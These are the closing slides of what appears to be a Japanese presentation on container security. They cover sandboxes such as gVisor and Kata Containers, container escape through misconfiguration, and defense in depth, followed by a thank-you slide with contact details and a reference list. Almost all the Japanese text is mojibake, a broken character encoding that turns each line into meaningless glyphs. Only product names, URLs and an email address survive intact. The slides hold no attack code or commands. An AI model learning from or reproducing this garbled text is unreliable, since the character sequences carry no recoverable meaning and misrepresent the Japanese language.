    • gVisor ΍ Kata Container ͷΑ͏ͳڧྗͳαϯυϘοΫε΋ར༻
    Ͱ͖Δ
    • ίϯςφͷ߈ܸΞϓϩʔν͸ෳ਺͋ΓɺઃఆෆඋʹΑͬͯϗετʹΤ
    εέʔϓͰ͖Δέʔε͕͋Δ
    • ͨͩ͠ɺෳ਺ͷηΩϡϦςΟػߏ͕͋Γɺଟ૚๷ޚͱͳ͍ͬͯΔ
    

    View Slide

88. ϑΥϩʔΞοϓ
    • ௕͓࣌ؒർΕ༷Ͱͨ͠!
    • ফԽෆྑͳͱ͜Ζ΋͋Δͱࢥ͍·͢ͷͰɺ࣭໰౳ Slack Ͱͯ͠΋Βͬͯ OK
    Ͱ͢
    • ͓͔ΘΓ՝୊͸Ϩϙʔτͱͯ͠๻ʹૹͬͯ΋Β͑Δͱίϝϯτ͠·͢! Θ͔
    Βͳ͍ͱ͜Ζ΋ฉ͍͍ͯͩ͘͞ɻ
    • Slack ͸ਓʹݟΒΕͯͪΐͬͱ...ͱ͍͏ਓ͸ DM Ͱ΋͍͍Ͱ͢͠ɺ
    mrtc0@ssrf.in Ѽʹૹͬͯ΋Βͬͯ΋େৎ෉Ͱ͢
    

    View Slide

89. References
    • Docker/Kubernetes։ൃɾӡ༻ͷͨΊͷηΩϡϦςΟ࣮ફΨΠυ / ਢా ӯେ, ޒेཛྷ ҁ, Ӊࠤඒ ༑໵
    • Container Security / Liz Rice
    • ίϯςφٕज़ೖ໳ - Ծ૝Խͱͷҧ͍Λ஌Γɺཁૉٕज़Λ৮ֶͬͯ΅͏
    • https://eh-career.com/engineerhub/entry/2019/02/05/103000
    • LXCͰֶͿίϯςφೖ໳ ʵܰྔԾ૝Խ؀ڥΛ࣮ݱ͢Δٕज़
    • https://gihyo.jp/admin/serial/01/linux_containers
    • docker/labs
    • https://github.com/docker/labs/tree/master/security
    

    View Slide